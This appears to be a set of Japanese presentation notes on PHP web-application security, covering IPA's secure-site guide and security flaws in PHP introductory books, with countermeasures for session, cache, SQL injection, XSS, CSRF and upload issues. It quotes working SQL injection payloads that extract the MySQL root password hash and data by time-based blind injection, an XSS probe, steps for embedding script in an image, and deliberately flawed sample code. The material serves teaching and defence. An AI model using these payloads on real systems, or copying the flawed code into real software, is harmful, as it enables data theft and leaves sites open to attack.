第7版では、1章に、クリックジャッキングとバッファオーバーフローの脆弱性の解説を追加し、クロスサイト・スクリプティングの脆弱性への対策方法、各脆弱性で紹介している届出状況、参考URL等を更新しました。また、2章に、ウェブサイトにおけるパスワードの管理方法の解説を追加し、通信経路の暗号化の解説、DNSなどの対策方法、参考URLを更新しました。

• クリックジャッキング
• バッファオーバーフロー

クリックジャッキングについて

バッファオーバーフローについて

ソルト付きハッシュ値によるパスワードの保存

• 本当は怖いパスワードの話

まとめ

• 最低限のセキュリティ基準としてとらえ、アプリケーションの性質によっては対応する項目を追加することが望ましい
• 改版で内容が改定されるので、発注仕様等として用いる場合は、版数を明記する

(J)認証
ログアウト機能はあるか、適切に実装されているか
ログアウト機能がない、あるいはログアウト後「戻る」ボタンでセッションを再開できる場合

<?php // logout.php
  require_once('common.php'); // 共通の設定・処理
  session_start();   // セッションの開始
  session_destroy(); // セッションの破棄
  header('Location: http://example.jp/');
  exit();

• 1回目のログアウト処理はきちんと動作するが、2回目以降のログアウト処理は表示上は正しい遷移だが、セッションは破棄されていない
• logout.phpは、ボタンではなくリンクで呼ばれている。すなわちGETメソッドで呼ばれている

Cache-Control:private, max-age=10800, pre-check=10800

session_cache_limiter('private');   // 戻るボタンを有効にする

対策

session_cache_limiter('nocache');   // キャッシュを無効にする

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

キャッシュからの情報漏洩に注意

<?php  // profile.php
  session_cache_limiter('public'); // キャッシュ制御をpublicに
  session_start();
  $id = $_SESSION['id'];  // ログインIDを取り出し
?><body>
id: <?php echo htmlspecialchars($id); // ログインIDを表示 ?>
</body> 

キャッシュ制御不備による影響

プロキシー・サーバーが応答を受け取ったときにキャッシュに入れない set-cookie ヘッダーを指定します。デフォルトでは、プロキシー・サーバーは set-cookie ヘッダーをプロキシー・キャッシュに保管します。Cache-Control ヘッダー情報が正しく設定されていない場合、プロキシー・サーバーは、セッションに関連したユーザー・プライベート Cookie を保管する場合があります。
http://www-01.ibm.com/support/knowledgecenter/SSAW57_8.5.5/com.ibm.websphere.nd.doc/ae/rjpx_siphttpcustprops.html?lang=jaより引用

対策

まとめ

はじめに

きっかけ

SQLインジェクションについて教えて下さい
【中略】

$result = mysql_query("INSERT INTO tbl(address, mail) VALUES('$address', '$mail')", $con);

【中略】
ずばり、上記のような場合にどんな文字列でも入力可能な住所欄に何らかの文字列を入れるとSQLインジェクション攻撃は成立しますか？
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q14140304564 より引用

これで、実行されるSQL文は以下になり、mailコラムにMySQLのrootユーザのパスワードハッシュが挿入されました。

INSERT INTO tbl(address, mail) VALUES('test', (select password from mysql.user where user='root' limit 0,1)) -- -', 'dummy@example.jp')

あとは、自分のメールアドレスを表示するページで挿入した情報を表示させればOKというシナリオです。
http://blog.a-way-out.net/blog/2015/01/06/sql-injection-insert/ より引用

Time-based SQL Injectionの基本的な考え方

INSERT INTO tbl(address, mail) VALUES('test', (select sleep(5))) -- ','dummy@example.jp')

INSERT INTO tbl(address, mail) VALUES('test',(select if(substr((select email from mini_bbs.members limit 0,1),1,1) = 'a',sleep(5),0))) -- ','dummy@example.jp')

高速化の試み

リニアサーチの方が速かった

文字の種類が多い場合はバイナリサーチと併用すると実用的

おおまかな範囲を二分探索で絞り、そこからリニアサーチで該当文字を求めています
http://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html

まとめ

ただし、「SQLインジェクション脆弱性はあるが攻撃はできそうもない」というケースもあり得ます。あり得ますが、思わぬ攻撃を受ける可能性もあり、その場合の被害は甚大ですので、攻撃可能性の有無に関わらず、必ずSQLインジェクション対策はしておくべきです。

• やさしいPHP やさしいシリーズ 単行本 – 2008/2/29
• やさしいPHP 第2版 (やさしいシリーズ) 単行本 – 2010/8/28
• やさしいPHP 第3版 (「やさしい」シリーズ) 大型本 – 2014/9/26

PHPの入門書ではSQLインジェクション脆弱性がないことが当たり前になった

フォームからの入力情報に注意する
Webアプリケーションでは、セキュリティに注意しなければなりません。特にフォームから入力する場合には注意すべきことが多くあります。

// 以下、データの追加
if(isset($_POST["insert"])){
$ipd = $_POST["insproduct"];
  $ipc = $_POST["insprice"];
  $qry ="INSERT INTO product(name, price) VALUES(:ipd, :ipc)";
  $stmt = $db->prepare($qry);
$stmt->bindParam(":ipd", $ipd);
  $stmt->bindParam(":ipc", $ipc);
  $stmt->execute();
}

// 中略

$qry = "SELECT * FROM product";
$data = $db->query($qry);

// 中略。以下、データの表示

while($value = $data->fetch()){
  $id = $value["id"];
$name = $value["name"];
  $price = $value["price"];
  print "<tr><td><input type=\"radio\" name=\"delid\" value=\"{$id}\"/></td>
<td>{$id}</td><td>{$name}</td><td>{$price}</td></tr>\n";
}

<script>alert(1)</script>

• header関数で指定する
• php.iniのdefault_charsetで指定する
• HTML内に指定する

header関数で指定する

header('Content-Type: text/html; charset=UTF-8');

php.iniのdefault_charsetで指定する

default_charset = "UTF-8"

HTML内に指定する

<meta charset="UTF-8">

結局XSS対策として最低限説明すべきことは何か?

5-(i) ウェブページに出力する全ての要素に対して、エスケープ処理を施す。
　　　解説内：また、HTMLタグを出力する場合は、その属性値を必ず「"」（ダブルクォート）で括る
5-(viii) HTTPレスポンスヘッダのContent-Typeフィールドに文字コード（charset）を指定する。

まとめ

おまけ

クロスサイトスクリプティング(XSS)

function e($str, $charset = 'UTF-8') {
  return htmlspecialchars($str, ENT_QUOTES, $charset);
}

• 文字コードの指定（php.iniのdefault_charset指定、meta要素による指定の両方）
• 属性値をダブルクォートで囲む

SQLインジェクション

$db = new PDO('mysql:host=localhost;dbname=php10;charset=utf8', 'phpusr', 'phppass');

• $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  // 静的プレースホルダを指定
• $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); //: 例外を投げる

クロスサイトリクエストフォージェリ(CSRF)

$token = md5(uniqid(mt_rand(), TRUE));

• PHPのセッションIDは暗号論的に弱い乱数生成器を使っており、セッションハイジャックの危険性がある

パストラバーサル

メールヘッダインジェクション

セッションフィクセーション

ファイルアップロード

例えば、有害なスクリプト（.phpファイル）をアップロードされてしまえば、自分のサーバーを踏み台に好き勝手な処理を実行されてしまう恐れもあります。最低でも、アップロード可能なファイルの拡張子は制限しておくべきです。

残念な点

IE7で画像XSSが可能

• 画像ファイルによるクロスサイト・スクリプティング(XSS)傾向と対策

1. 適当な.png画像を用意する
2. IDATの中身にJavaScriptを埋め込む
3. 拡張子をgif（あるいはjpg）に変更する

• getimagesize()関数を用いてマジックバイトから画像のタイプを取得する（参考）
• ファイル名から得た拡張子が、画像のタイプと一致していることを確認する
• 両者が一致していな場合はエラーとして画像を受け付けない

パスワードの保存形式がソルトなしMD5ハッシュ値

• 本当は怖いパスワードの話

まとめ

• SQLインジェクション対策はプレースホルダ、PDOの文字エンコーディング指定で確実に
• XSS対策は、表示の際のエスケープを徹底
• CSRF対策はワンタイムトークンを用いる
• パストラバーサル対策、メールヘッダインジェクション対策もある

しかし、せっかくPHPを勉強するのであれば、最初から正しい方法を学びたいものです。ということで、PHPの入門書を書く方には、「出力の際にHTMLエスケープ」を徹底していただきたいと希望します。